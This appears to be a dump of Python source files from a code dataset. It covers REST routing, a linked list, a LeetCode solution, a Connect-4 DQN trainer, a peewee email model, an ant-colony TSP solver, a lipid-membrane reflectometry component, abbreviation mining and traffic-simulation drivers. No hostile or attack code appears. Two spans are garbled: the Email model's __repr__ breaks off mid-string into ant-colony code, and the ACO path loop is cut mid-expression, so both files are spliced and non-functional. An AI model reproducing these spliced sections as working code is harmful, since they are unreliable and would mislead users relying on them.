readme_file.read()\n\n\nsetup(\n name=\"rpn\",\n version=__version__,\n description=\"RPN calc\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n author=\"Maxime Peresson\",\n author_email=\"maxime.peresson@gmail.com\",\n classifiers=[\n ],\n python_requires=\">=3.5\",\n test_suite=\"test\",\n packages=find_packages(exclude=[\"test\"]),\n entry_points={\n \"console_scripts\": [\n \"rpn=rpncalc.main:main\",\n ]\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"59328722","text":"\"\"\" rest - routes mapping based on oaspecs\n\n\nSee tests/test_rest_routing.py for example of usage\n\"\"\"\n\nimport inspect\nimport logging\nfrom collections import namedtuple\nfrom collections.abc import Callable, Iterator, Mapping\n\nfrom aiohttp import web\n\nfrom .openapi import OpenApiSpec, get_base_path\n\nlogger = logging.getLogger(__name__)\n\n\ndef has_handler_signature(fun) -> bool:\n # TODO: last parameter is web.Request or called request?\n return any(\n param.annotation == web.Request\n for name, param in inspect.signature(fun).parameters.items()\n )\n\n\ndef get_handlers_from_namespace(handlers_nsp) -> dict:\n \"\"\"Gets all handlers in a namespace define by a class or a module\"\"\"\n # TODO: Should search for function that are marked as \"handlers\". Similar to @pytest.fixtures??\n if inspect.ismodule(handlers_nsp):\n\n def predicate(obj):\n return inspect.isfunction(obj) and has_handler_signature(obj)\n\n elif hasattr(handlers_nsp, \"__class__\"):\n\n def predicate(obj):\n return inspect.ismethod(obj) and has_handler_signature(obj)\n\n else:\n raise ValueError(\n \"Expected module or class as namespace, got %s\" % type(handlers_nsp)\n )\n\n return dict(inspect.getmembers(handlers_nsp, predicate))\n\n\nPathOperation = namedtuple(\"PathOperation\", \"method path operation_id tags\")\n\n\ndef iter_path_operations(specs: OpenApiSpec) -> Iterator[PathOperation]:\n \"\"\"Iterates paths in api specs returning tuple (method, path, operation_id, tags)\n\n NOTE: prepend API version as basepath to path url, e.g. /v0/my/path for path=/my/path\n \"\"\"\n base_path = get_base_path(specs)\n assert base_path.startswith(\"/v\") # nosec\n\n for url, path in specs.paths.items():\n for method, operation in path.operations.items():\n yield PathOperation(\n method.upper(), base_path + url, operation.operation_id, operation.tags\n )\n\n\ndef map_handlers_with_operations(\n handlers_map: Mapping[str, Callable],\n operations_it: Iterator[PathOperation],\n *,\n strict: bool = True,\n) -> list[web.RouteDef]:\n \"\"\"Matches operation ids with handler names and returns a list of routes\n\n :param handlers_map: .See get_handlers_from_namespace\n :type handlers_map: Mapping[str, Callable]\n :param operations_it: iterates over specs operations. See iter_path_operations\n :type operations_it: Iterator[PathOperation]\n :param strict: it raises an error if either a handler or an operator was not mapped, defaults to True\n :param strict: bool, optional\n :raises ValueError: if not operations mapped\n :raises RuntimeError: if not handlers mapped\n :rtype: List[web.RouteDef]\n \"\"\"\n\n handlers = dict(handlers_map)\n routes = []\n for method, path, operation_id, _tags in operations_it:\n handler = handlers.pop(operation_id, None)\n if handler:\n routes.append(web.route(method.upper(), path, handler, name=operation_id))\n elif strict:\n msg = f\"Cannot find any handler named {operation_id} \"\n raise ValueError(msg)\n\n if handlers and strict:\n msg = f\"{len(handlers)} handlers were not mapped to routes: {handlers.keys()}\"\n raise RuntimeError(msg)\n\n return routes\n\n\ndef create_routes_from_namespace(\n specs: OpenApiSpec, handlers_nsp, *, strict: bool = True\n) -> list[web.RouteDef]:\n \"\"\"Gets *all* available handlers and maps one-to-one to *all* specs routes\n\n :param specs: openapi spec object\n :type specs: OpenApiSpec\n :param handlers_nsp: class or module with handler functions\n :param strict: ensures strict mapping, defaults to True\n :param strict: bool, optional\n :rtype: List[web.RouteDef]\n \"\"\"\n handlers = get_handlers_from_namespace(handlers_nsp)\n\n if not handlers and strict:\n raise ValueError(\"No handlers found in %s\" % handlers_nsp)\n\n return map_handlers_with_operations(\n handlers, iter_path_operations(specs), strict=strict\n )\n","sub_path":"packages/service-library/src/servicelib/aiohttp/rest_routing.py","file_name":"rest_routing.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"552509801","text":"#!/usr/bin/python3\n# coding=utf-8\n\n\nclass Node(object):\n def __init__(self, new_data):\n self.data = new_data\n self.next = None\n self.prev = None\n\n\nclass DoubleList(object):\n def __init__(self):\n self.__head = Node(None)\n self.__length = 0\n\n def get_length(self):\n return self.__length\n def is_empty(self):\n if self.__length == 0:\n return True\n else:\n return False\n\n def append(self, data):\n new_node = Node(data)\n cur = self.__head\n while cur.next is not None:\n cur = cur.next\n else:\n cur.next = new_node\n new_node.prev = cur\n self.__length += 1\n\n def travel(self):\n cur = self.__head\n for i in range(self.__length):\n print(cur.next.data, end=\"->\")\n cur = cur.next\n else:\n print(\"\")\n\n def insert(self, posi, new_data):\n new_node = Node(new_data)\n cur = self.__head\n for i in range(self.__length):\n if i == posi:\n new_node.next = cur.next\n new_node.prev = cur\n cur.next.prev = new_node\n cur.next = new_node\n self.__length += 1\n else:\n cur = cur.next\n else:\n print(\"index is %s, legth is %s\"%(posi, self.__length))\n\n def remove(self, new_data):\n cur = self.__head\n if self.is_empty():\n print(\"empty , can't remove any\")\n return\n for i in range(self.__length):\n if cur.next.data == new_data:\n cur.next = cur.next.next\n cur.next.next.prev = cur\n self.__length -= 1\n else:\n cur = cur.next\n else:\n print(\"the data is not in the double list\")\n\n\ndef main():\n\n dbl = DoubleList()\n for i in range(10):\n dbl.append(i)\n print(dbl.get_length())\n dbl.travel()\n dbl.insert(0, 100)\n dbl.insert(3, 800)\n dbl.insert(100, 0)\n dbl.travel()\n dbl.remove(800)\n dbl.travel()\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"j14day/3双向列表.py","file_name":"3双向列表.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"444865129","text":"#!/usr/bin/python\n#coding:utf-8\n\n# https://leetcode-cn.com/explore/featured/card/array-and-string/198/introduction-to-array/770/\n# 寻找数组的中心索引\n# 给定一个整数类型的数组 nums，请编写一个能够返回数组“中心索引”的方法。\n# 我们是这样定义数组中心索引的：数组中心索引的左侧所有元素相加的和等于右侧所有元素相加的和。\n# 如果数组不存在中心索引，那么我们应该返回 -1。如果数组有多个中心索引，那么我们应该返回最靠近左边的那一个。\n# 示例 1:\n\n# 输入: \n# nums = [1, 7, 3, 6, 5, 6]\n# 输出: 3\n# 解释: \n# 索引3 (nums[3] = 6) 的左侧数之和(1 + 7 + 3 = 11)，与右侧数之和(5 + 6 = 11)相等。\n# 同时, 3 也是第一个符合要求的中心索引。\n# 示例 2:\n\n# 输入: \n# nums = [1, 2, 3]\n# 输出: -1\n# 解释: \n# 数组中不存在满足此条件的中心索引。\n# 说明:\n\n# nums 的长度范围为 [0, 10000]。\n# 任何一个 nums[i] 将会是一个范围在 [-1000, 1000]的整数。\n\nclass Solution(object):\n def pivotIndex(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # 方法：前缀和\n # S 是数组的和，当索引 i 是中心索引时，位于 i 左边数组元素的和 leftsum 满足 S - nums[i] - leftsum。\n # 我们只需要判断当前索引 i 是否满足 leftsum==S-nums[i]-leftsum 并动态计算 leftsum 的值。\n S = sum(nums)\n leftsum = 0\n for i, x in enumerate(nums):\n if leftsum == (S - leftsum - x):\n return i\n leftsum += x\n return -1\n\nnums = [1, 7, 3, 6, 5, 6]\ns = Solution()\nn = s.pivotIndex(nums)\nprint(n) ","sub_path":"数组和字符串/array_3.py","file_name":"array_3.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"600968641","text":"import os\nimport logging\n\n\ndef create_folder(fd):\n if not os.path.exists(fd):\n os.makedirs(fd)\n \n\ndef create_logging(log_dir, filemode):\n create_folder(log_dir)\n i1 = 0\n\n while os.path.isfile(os.path.join(log_dir, '{:04d}.log'.format(i1))):\n i1 += 1\n \n log_path = os.path.join(log_dir, '{:04d}.log'.format(i1))\n logging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename=log_path,\n filemode=filemode)\n\n # Print to console\n console = logging.StreamHandler()\n console.setLevel(logging.INFO)\n formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n console.setFormatter(formatter)\n logging.getLogger('').addHandler(console)\n \n return logging","sub_path":"metric_sub/src_train/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"503619728","text":"from RL import RL\nfrom State import State\nfrom pathlib import Path\nimport numpy\nimport torch\nfrom torch.autograd import Variable\nimport sys\n\n\nprint(\"___________\")\nprint(\"Connect 4\")\nprint(\"___________\\n\")\n\nmode = \"CPU\"\nrunOnGPU = len(sys.argv)>1 #If a console parameter is received run in GPU. else run on CPU\nif(runOnGPU):\n mode = \"GPU\"\n\n#Learning parameters\nbatch_size = 64\nlearning_rate = 0.000001\ninitial_epsilon = 0.25\nepsilon_decay = 0.999997 #This decay value achieves 0.97 in episode 10,000, 0.74 in episode 100,000, 0.05 in episode 1,000,000\ndiscount = 0.95\ntrainEpisodes = 40000\nexperience_stored = 1000000\nstep_delta = 1000\n\n\n#Number of episodes to run before displaying learning stats\ndisplay_frequency = 10\n\nAI = RL(batch_size , learning_rate, initial_epsilon, epsilon_decay, discount, experience_stored, step_delta, display_frequency, runOnGPU)\n\nCPUfile = Path(\"netCPU.pt\")\nGPUfile = Path(\"netGPU.pt\")\n\n#Load experience information from previous sessions\nAI.approximator.loadExperience(\"experience.pkl\")\nif (runOnGPU and GPUfile.is_file()) or (not runOnGPU and CPUfile.is_file()):\n print(\"Loaded Network\", mode)\n print(\"Learning...\")\n if(runOnGPU):\n AI.approximator = torch.load(\"netGPU.pt\")\n AI.QLearningGPU(trainEpisodes)\n torch.save(AI.approximator, \"netGPU.pt\")\n else:\n AI.approximator = torch.load(\"netCPU.pt\")\n AI.QLearningCPU(trainEpisodes)\n torch.save(AI.approximator, \"netCPU.pt\")\n\nelse:\n print(\"Starting New Training\" , mode)\n print(\"Learning...\")\n if(runOnGPU):\n AI.QLearningGPU(trainEpisodes)\n torch.save(AI.approximator, \"netGPU.pt\")\n else:\n AI.QLearningCPU(trainEpisodes)\n torch.save(AI.approximator, \"netCPU.pt\")\n\n#Store experience information in text file for later training sessions\nAI.approximator.saveExperience(\"experience.pkl\")\n\nwhile(True):\n val = input(\"\\nEnter 1 to go first, enter otherwise to go second: \")\n\n state = State()\n stateVector = state.getTensor()\n playerTurn = False\n R = 0\n inputTensor = torch.FloatTensor(1, 2, 6, 7).zero_() #Initialize tensor for input states\n\n if(val==\"1\"):\n playerTurn = True\n\n while((R!=-1 and R!=1) and state.movesLeft>0):\n state.print(\"+\",\"-\",\"0\")\n\n #Player Moves\n if(playerTurn):\n #Check that the player introduced an avaiable move\n\n while(True):\n val = input(\"\\nYour Move (1 - 7): \")\n A = eval(val)-1\n if(state.avMoves[A]):\n break\n else:\n state.print(\"+\",\"-\",\"0\")\n print(\"\\nInvalid move, please select an available move only\")\n #AI Moves\n else:\n print(\"\\n AI Moved\")\n inputTensor[0] = torch.FloatTensor(stateVector)\n if(runOnGPU):\n A = AI.approximator.bestAction(Variable(inputTensor).cuda(), state.avMoves)\n else:\n A = AI.approximator.bestAction(Variable(inputTensor), state.avMoves)\n state.act(A)\n stateVector = state.getTensor()\n R = state.reward()\n playerTurn = not playerTurn\n\n state.print(\"+\",\"-\",\"0\")\n\n if(R!=-1 and R!=1):\n print(\"Tie\")\n elif(R and playerTurn):\n print(\"AI wins\")\n else:\n print(\"You win\")\n\n val = input(\"\\nEnter 1 to play another game: \")\n if(val!=\"1\"):\n break\n","sub_path":"Connect4-DQN/HumanGame.py","file_name":"HumanGame.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"45931012","text":"from const import BCC_KEY\nfrom const import CC_KEY\nfrom const import FROM_KEY\nfrom const import REPLY_KEY\nfrom const import SUBJECT_KEY\nfrom const import TO_KEY\nfrom const import TYPE_KEY\nfrom peewee import BooleanField\nfrom peewee import CharField\nfrom peewee import IntegerField\nfrom peewee import Model\nfrom peewee import SqliteDatabase\n\ndb = SqliteDatabase('emails.db')\n\n\nclass BaseModel(Model):\n\n class Meta(object):\n database = db\n\n\nclass Email(BaseModel):\n\n # fields\n id = IntegerField(primary_key=True)\n subject = CharField()\n from_email = CharField()\n to_emails = CharField()\n cc_emails = CharField(null=True)\n bcc_emails = CharField(null=True)\n email_type = CharField()\n reply = BooleanField()\n\n # database connection\n database = None\n\n def __repr__(self):\n representation = (\n \"0:\n rand1=random.randint(0,len(list1)-1)\n list2.append(list1.pop(rand1))\n list2.append(list2[0])\n return list2\n\n\ndef distancesFromCoords():\n f = open('kroA100.tsp')\n data = [line.replace(\"\\n\",\"\").split(\" \")[1:] for line in f.readlines()[6:106]]\n coords = list(map(lambda x: [float(x[0]),float(x[1])], data))\n distances = []\n for i in range(len(coords)):\n row = []\n for j in range(len(coords)):\n row.append(math.sqrt((coords[i][0]-coords[j][0])**2 + (coords[i][1]-coords[j][1])**2))\n distances.append(row)\n return distances\n\ndef calculateZ(myList,distances): \n sum=0\n for i in range(len(myList)-1): #se detiene en -2 para llegar a la penultima ciudad porque la ultima es el retorno\n fromCity=myList[i] #el numero en la posicion i. (que puede ser del 0 al 99)\n toCity=myList[i+1]\n sum=sum+distances[fromCity][toCity]\n return sum\n\ndef explo_matrizFeromonaInicial(matrizDistancias,n):\n #Creamos matriz inicialziada en 0 de ncities x ncities\n matrizFeromonas=np.zeros(np.shape(matrizDistancias))\n #Generamos cualquier solucion inicial\n nSolution=generateInitialSolution(len(matrizDistancias))\n #el ciclo se repetira n veces primero (1000 estaria bien)\n while(n>0):\n #en cada iteracion se probara con una solucion aleatoria y apartir de su Z\n #se llenara la matriz de feromonas\n #no es perturbar es general una matriz totalmente Distinta\n nSolution=generateInitialSolution(len(matrizDistancias))\n zOfCurrentSolution=calculateZ(nSolution,matrizDistancias)\n inverseZ=1/zOfCurrentSolution\n #-2 porque la ultima ciudad(len -1 ) no ira a ninguna, ya sera la primera desde donde se partio\n for i in range(len(nSolution)-1):\n fromCity=nSolution[i]\n toCity=nSolution[i+1]\n matrizFeromonas[fromCity][toCity]+=inverseZ\n \n #al final de la iteracion n.i generamos otra solucion para que la matriz de feromonas\n #se actualice con respecto a otra nueva solucion \n n-=1\n return matrizFeromonas\n\ndef matrizProbabilidades(heuristica,feromona,aplha,beta,actual):\n feromona=np.array(feromona)\n heuristica=np.array(heuristica)\n #esto representa el numerador\n matriz=(feromona**aplha)*(heuristica**beta)\n #ahora hacemos el denominador que es la suma de cada columna\n for i in actual:\n matriz[i,:]=0\n\n #denominador\n #sumatoria=np.sum(matriz,axis=0)\n sumatoria=matriz.sum(axis=0)\n\n #la matriz de probabilidades\n probabilidades=matriz/sumatoria\n return probabilidades\n\n#cuando pase por el camino se llenara la feromona y se borrara, eso va despues de usar este metodo\ndef generatePath(heuristica,feromona,aplha,beta):\n contador=0\n actual=[0]\n while(len(actual)ran):\n return j\n return 0\n\n\n\n\n\n\n\n\n#####MAIN##################\nif __name__ == \"__main__\":\n antColonyOptimization(distancesFromCoords(),1,5,0.1,100)\n\n","sub_path":"aco.py","file_name":"aco.py","file_ext":"py","file_size_in_byte":5190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"584124531","text":"\"\"\"\nComponent for studying lipid membranes at an interface\n\"\"\"\n\nimport numpy as np\nfrom refnx.reflect import Component, SLD, ReflectModel, Structure\nfrom refnx.analysis import possibly_create_parameter, Parameters, Parameter\n\n\nclass LipidLeaflet(Component):\n \"\"\"\n Describes a lipid leaflet Component at an interface\n\n Parameters\n ----------\n APM: float or Parameter\n b_heads: float, Parameter or complex\n Sum of coherent scattering lengths of head group (Angstrom)\n vm_heads: float or Parameter\n Molecular volume of head group (Angstrom**2)\n thickness_heads: float or Parameter\n Thickness of head group region (Angstrom)\n b_tails: float, Parameter or complex\n Sum of coherent scattering lengths of tail group (Angstrom)\n vm_tails: float or Parameter\n Molecular volume of tail group (Angstrom**2)\n thickness_tails: float or Parameter\n Thickness of head group region (Angstrom)\n rough_head_tail: float or Parameter\n Roughness of head-tail group (Angstrom)\n rough_preceding_mono: float or Parameter\n Roughness between preceding component (in the fronting direction) and\n the monolayer (Angstrom). If `reverse_monolayer is False` then this is\n the roughness between the preceding component and the heads, if\n `reverse_monolayer is True` then this is the roughness between the\n preceding component and the tails.\n reverse_monolayer: bool, optional\n The default is to have heads closer to the fronting medium and\n tails closer to the backing medium. If `reverse_monolayer is True`\n then the tails will be closer to the fronting medium and heads\n closer to the backing medium.\n name: str, optional\n The name for the component\n\n Notes\n -----\n The sum of coherent scattering lengths must be in Angstroms, the volume\n must be in cubic Angstroms. This is because the SLD of a tail group is\n calculated as `b_tails / vm_tails * 1e6` to achieve the units\n 10**6 Angstrom**-2.\n \"\"\"\n\n # TODO: use SLD of head instead of b_heads, vm_heads?\n def __init__(self, apm, b_heads, vm_heads, thickness_heads,\n b_tails, vm_tails, thickness_tails, rough_head_tail,\n rough_preceding_mono, reverse_monolayer=False, name=''):\n \"\"\"\n Parameters\n ----------\n apm: float or Parameter\n Area per molecule\n b_heads: float, Parameter or complex\n Sum of coherent scattering lengths of head group (Angstrom)\n vm_heads: float or Parameter\n Molecular volume of head group (Angstrom**3)\n thickness_heads: float or Parameter\n Thickness of head group region (Angstrom)\n b_tails: float, Parameter or complex\n Sum of coherent scattering lengths of tail group (Angstrom)\n vm_tails: float or Parameter\n Molecular volume of tail group (Angstrom**3)\n thickness_tails: float or Parameter\n Thickness of head group region (Angstrom)\n reverse_monolayer: bool, optional\n The default is to have heads closer to the fronting medium and\n tails closer to the backing medium. If `reverse_monolayer is True`\n then the tails will be closer to the fronting medium and heads\n closer to the backing medium.\n name: str, optional\n The name for the component\n \"\"\"\n super(LipidLeaflet, self).__init__()\n self.apm = possibly_create_parameter(apm,\n '%s - area_per_molecule' % name)\n\n if isinstance(b_heads, complex):\n self.b_heads_real = possibly_create_parameter(\n b_heads.real,\n name='%s - b_heads_real' % name)\n self.b_heads_imag = possibly_create_parameter(\n b_heads.imag,\n name='%s - b_heads_imag' % name)\n else:\n self.b_heads_real = possibly_create_parameter(\n b_heads,\n name='%s - b_heads_real' % name)\n self.b_heads_imag = possibly_create_parameter(\n 0,\n name='%s - b_heads_imag' % name)\n\n self.vm_heads = possibly_create_parameter(\n vm_heads,\n name='%s - vm_heads' % name)\n\n self.thickness_heads = possibly_create_parameter(\n thickness_heads,\n name='%s - thickness_heads' % name)\n\n if isinstance(b_tails, complex):\n self.b_tails_real = possibly_create_parameter(\n b_tails.real,\n name='%s - b_tails_real' % name)\n self.b_tails_imag = possibly_create_parameter(\n b_tails.imag,\n name='%s - b_tails_imag' % name)\n else:\n self.b_tails_real = possibly_create_parameter(\n b_tails,\n name='%s - b_tails_real' % name)\n self.b_tails_imag = possibly_create_parameter(\n 0,\n name='%s - b_tails_imag' % name)\n\n self.vm_tails = possibly_create_parameter(\n vm_tails,\n name='%s - vm_tails' % name)\n self.thickness_tails = possibly_create_parameter(\n thickness_tails,\n name='%s - thickness_tails' % name)\n self.rough_head_tail = possibly_create_parameter(\n rough_head_tail,\n name='%s - rough_head_tail' % name)\n self.rough_preceding_mono = possibly_create_parameter(\n rough_preceding_mono,\n name='%s - rough_fronting_mono' % name)\n self.reverse_monolayer = reverse_monolayer\n self.name = name\n\n @property\n def slabs(self):\n \"\"\"\n Returns\n -------\n slab_model: np.ndarray\n Slab representation of monolayer\n \"\"\"\n layers = np.zeros((2, 5))\n\n # thicknesses\n layers[0, 0] = float(self.thickness_heads)\n layers[1, 0] = float(self.thickness_tails)\n\n # real and imag SLD's\n layers[0, 1] = float(self.b_heads_real) / float(self.vm_heads) * 1.e6\n layers[0, 2] = float(self.b_heads_imag) / float(self.vm_heads) * 1.e6\n\n layers[1, 1] = float(self.b_tails_real) / float(self.vm_tails) * 1.e6\n layers[1, 2] = float(self.b_tails_imag) / float(self.vm_tails) * 1.e6\n\n # roughnesses\n layers[0, 3] = float(self.rough_preceding_mono)\n layers[1, 3] = float(self.rough_head_tail)\n\n # volume fractions\n # head region\n volfrac = self.vm_heads.value / (self.apm.value *\n self.thickness_heads.value)\n layers[0, 4] = 1 - volfrac\n\n # tail region\n volfrac = self.vm_tails.value / (self.apm.value *\n self.thickness_tails.value)\n layers[1, 4] = 1 - volfrac\n\n if self.reverse_monolayer:\n layers = np.flipud(layers)\n layers[:, 3] = layers[::-1, 3]\n\n return layers\n\n @property\n def parameters(self):\n p = Parameters(name=self.name)\n p.extend([self.apm,\n self.b_heads_real, self.b_heads_imag, self.vm_heads,\n self.thickness_heads,\n self.b_tails_real, self.b_tails_imag, self.vm_tails,\n self.thickness_tails, self.rough_head_tail,\n self.rough_preceding_mono])\n return p\n\n def lnprob(self):\n # penalise unphysical volume fractions.\n volfrac_h = self.vm_heads.value / (self.apm.value *\n self.thickness_heads.value)\n\n # tail region\n volfrac_t = self.vm_tails.value / (self.apm.value *\n self.thickness_tails.value)\n\n if volfrac_h > 1 or volfrac_t > 1:\n return -np.inf\n\n return 0\n","sub_path":"refnx/reflect/_lipid.py","file_name":"_lipid.py","file_ext":"py","file_size_in_byte":7859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"386954855","text":"import string\nimport os\nimport collections\nfrom utils.os_utils import grab_files, mkdir\nimport utils.db_utils as db_utils\n\nimport pandas as pd\nimport pyparsing as pypar\n\nfrom utils.parallel_utils import jobmap\n\nglobal_limit = 0\nglobal_offset = 0\n\n\nclass parenthesis_nester(object):\n\n def __init__(self):\n nest = pypar.nestedExpr\n g = pypar.Forward()\n nestedParens = nest('(', ')')\n nestedBrackets = nest('[', ']')\n nestedCurlies = nest('{', '}')\n nest_grammar = nestedParens | nestedBrackets | nestedCurlies\n\n parens = \"(){}[]\"\n letters = ''.join([x for x in pypar.printables\n if x not in parens])\n word = pypar.Word(letters)\n\n g = pypar.OneOrMore(word | nest_grammar)\n self.grammar = g\n\n def __call__(self, line):\n try:\n tokens = self.grammar.parseString(line)\n except:\n return []\n return tokens\n\n\ndef is_valid_abbr(item):\n if isinstance(item, unicode):\n return False\n if len(item) != 1:\n return False\n\n word = item[0]\n\n # Break if we are doubly nested\n if not isinstance(word, unicode):\n return False\n\n # Check if there are any capital letters\n if word.lower() == word:\n return False\n\n return word\n\n\ndef check_matching(word, k, tokens):\n # Identify the capital letters\n caps = [let for let in word if\n let in string.ascii_uppercase.upper()]\n\n # Don't try to match with only a single letter (to noisy!)\n if len(caps) < 2:\n return False\n\n # This may fail if used too early in doc or if nested parens\n # this shouldn't be a match so it's OK!\n\n try:\n subtokens = tokens[k - len(caps):k]\n subtoken_let = [let.upper()[0] for let in subtokens]\n except:\n return False\n\n if subtoken_let != caps:\n return False\n\n return tuple(subtokens)\n\n\ndef evaluate_document(row, col):\n doc = row[col]\n\n doc = unicode(doc)\n doc = doc.replace('-', ' ')\n doc = doc.replace(\"'\", '')\n doc = doc.replace('\"', '')\n\n P = parenthesis_nester()\n tokens = P(doc)\n\n results = collections.Counter()\n\n for k, item in enumerate(tokens):\n word = is_valid_abbr(item)\n if word:\n subtokens = check_matching(word, k, tokens)\n if subtokens:\n results[(tuple(subtokens), word)] += 1\n\n # if results:\n # print \"Found {} abbrs in doc idx {}\".format(len(results),idx)\n\n return results\n\n\ndef dedupe_abbr(ABR):\n\n df = pd.DataFrame()\n df['phrase'] = [' '.join(x[0]) for x in ABR.keys()]\n df['abbr'] = [x[1] for x in ABR.keys()]\n df['count'] = ABR.values()\n\n # Match phrases on lowercase and remove trailing 's'\n df['reduced_phrase'] = df.phrase.str.strip()\n df['reduced_phrase'] = df.reduced_phrase.str.lower()\n df['reduced_phrase'] = df.reduced_phrase.str.rstrip('s')\n\n data = []\n for phrase, dfx in df.groupby('reduced_phrase'):\n top = dfx.sort_values(\"count\", ascending=False).iloc[0]\n\n item = {}\n item[\"count\"] = dfx[\"count\"].sum()\n item[\"phrase\"] = top[\"phrase\"]\n item[\"abbr\"] = top[\"abbr\"]\n data.append(item)\n\n df = pd.DataFrame(data).set_index(\"phrase\")\n return df.sort_values(\"count\", ascending=False)\n\n\ndef phrases_from_config(config):\n\n _PARALLEL = config.as_bool(\"_PARALLEL\")\n output_dir = config[\"phrase_identification\"][\"output_data_directory\"]\n\n target_column = config[\"target_column\"]\n\n import_config = config[\"import_data\"]\n input_data_dir = import_config[\"output_data_directory\"]\n\n F_CSV = grab_files(\"*.csv\", input_data_dir)\n\n ABR = collections.Counter()\n\n dfunc = db_utils.CSV_database_iterator\n INPUT_ITR = dfunc(F_CSV, target_column, progress_bar=True)\n ITR = jobmap(evaluate_document, INPUT_ITR, _PARALLEL, col=target_column)\n\n for result in ITR:\n ABR.update(result)\n\n msg = \"\\n{} total abbrs found.\"\n print(msg.format(len(ABR)))\n\n # Merge abbreviations that are similar\n print(\"Deduping abbr list.\")\n df = dedupe_abbr(ABR)\n print(\"{} abbrs remain after deduping\".format(len(df)))\n\n # Output top phrase\n print(\"Top 5 abbreviations\")\n print(df[:5])\n\n mkdir(output_dir)\n f_csv = os.path.join(output_dir,\n config[\"phrase_identification\"][\"f_abbreviations\"])\n df.to_csv(f_csv)\n\n\nif __name__ == \"__main__\":\n\n import simple_config\n config = simple_config.load()\n phrases_from_config(config)\n","sub_path":"word2vec_pipeline/phrases_from_abbrs.py","file_name":"phrases_from_abbrs.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"576849434","text":"import random\nimport itertools\nimport numpy as np\nfrom gym import spaces\n\nfrom traffic.traffic_env import TrafficEnv\nfrom traffic.road import Road, RoadSegment\nfrom traffic.car import Car\nfrom traffic.drivers.driver import Driver, XYSeperateDriver\nfrom traffic.drivers.oned_drivers import IDMDriver, PDDriver, PDriver\nfrom traffic.actions.trajectory_accel_action import TrajectoryAccelAction\nfrom traffic.constants import *\n\nclass EnvDriver(XYSeperateDriver):\n def __init__(self, \n aggressive,\n x_sigma, y_sigma,\n car,\n **kwargs):\n self.aggressive = aggressive\n self.target_lane = None\n self.car = car\n if self.aggressive:\n v_des = np.random.uniform(0.5, 1.0)\n s_des = np.random.uniform(0.8, 1.0)\n s_min = np.random.uniform(0.4, 0.6)\n min_overlap = -self.car.width/2.\n self.min_front_x = self.car.length + s_min\n self.min_back_x = self.car.length + s_min\n self.min_advantage = self.car.length/2.\n else:\n v_des = np.random.uniform(0.0, 0.5)\n s_des = np.random.uniform(0.9, 1.1)\n s_min = np.random.uniform(0.5, 0.7)\n min_overlap = self.car.width/2.\n self.min_front_x = self.car.length + s_min\n self.min_back_x = self.car.length + s_min\n self.min_advantage = self.car.length\n x_driver = IDMDriver(sigma=x_sigma, v_des=v_des, s_des=s_des, s_min=s_min, axis=0, min_overlap=min_overlap, car=car, **kwargs)\n y_driver = PDDriver(sigma=y_sigma, p_des=0., a_max=1.0, axis=1, k_p=2.0, k_d=5.0, car=car, **kwargs)\n self.on_target = True\n super(EnvDriver, self).__init__(x_driver,y_driver,car=car,**kwargs)\n\n def observe(self, cars, road):\n x, y = self.car.position\n min_front_distance0 = np.inf\n min_back_distance0 = np.inf\n min_front_distance1 = np.inf\n min_back_distance1 = np.inf\n for car in cars:\n if car is self.car:\n continue\n if car.position[1] <= 4.0:\n if (car.position[0] > x) and (car.position[0]-x < min_front_distance0):\n min_front_distance0 = car.position[0] - x\n elif (car.position[0] < x) and (x-car.position[0] < min_back_distance0):\n min_back_distance0 = x - car.position[0]\n elif car.position[1] > 4.0:\n if (car.position[0] > x) and (car.position[0]-x < min_front_distance1):\n min_front_distance1 = car.position[0] - x\n elif (car.position[0] < x) and (x-car.position[0] < min_back_distance1):\n min_back_distance1 = x - car.position[0]\n\n if y <= 4.0:\n if (min_front_distance1 - min_front_distance0 > self.min_advantage) \\\n and (min_front_distance1 > self.min_front_x) \\\n and (min_back_distance1 > self.min_back_x):\n self.y_driver.p_des = 6.0\n else:\n self.y_driver.p_des = 2.0\n else:\n if (min_front_distance0 - min_front_distance1 > self.min_advantage) \\\n and (min_front_distance0 > self.min_front_x) \\\n and (min_back_distance0 > self.min_back_x):\n self.y_driver.p_des = 2.0\n else:\n self.y_driver.p_des = 6.0\n\n self.x_driver.observe(cars, road)\n self.y_driver.observe(cars, road)\n\n def setup_render(self, viewer):\n if not self.aggressive:\n self.car._color = [*GREEN_COLORS[0],0.5]\n else:\n self.car._color = [*RED_COLORS[0],0.5]\n self.car._arr_color = [0.8, 0.8, 0.8, 0.5]\n\n def update_render(self, camera_center):\n if not self.aggressive:\n self.car._color = [*GREEN_COLORS[0],0.5]\n else:\n self.car._color = [*RED_COLORS[0],0.5]\n self.car._arr_color = [0.8, 0.8, 0.8, 0.5]\n\nclass EgoDriver(XYSeperateDriver):\n def __init__(self, \n x_sigma, y_sigma,\n **kwargs):\n\n x_driver = IDMDriver(sigma=x_sigma, v_des=0.0, s_des=0.7, s_min=0.5, axis=0, min_overlap=0., **kwargs)\n y_driver = PDDriver(sigma=y_sigma, p_des=0.0, 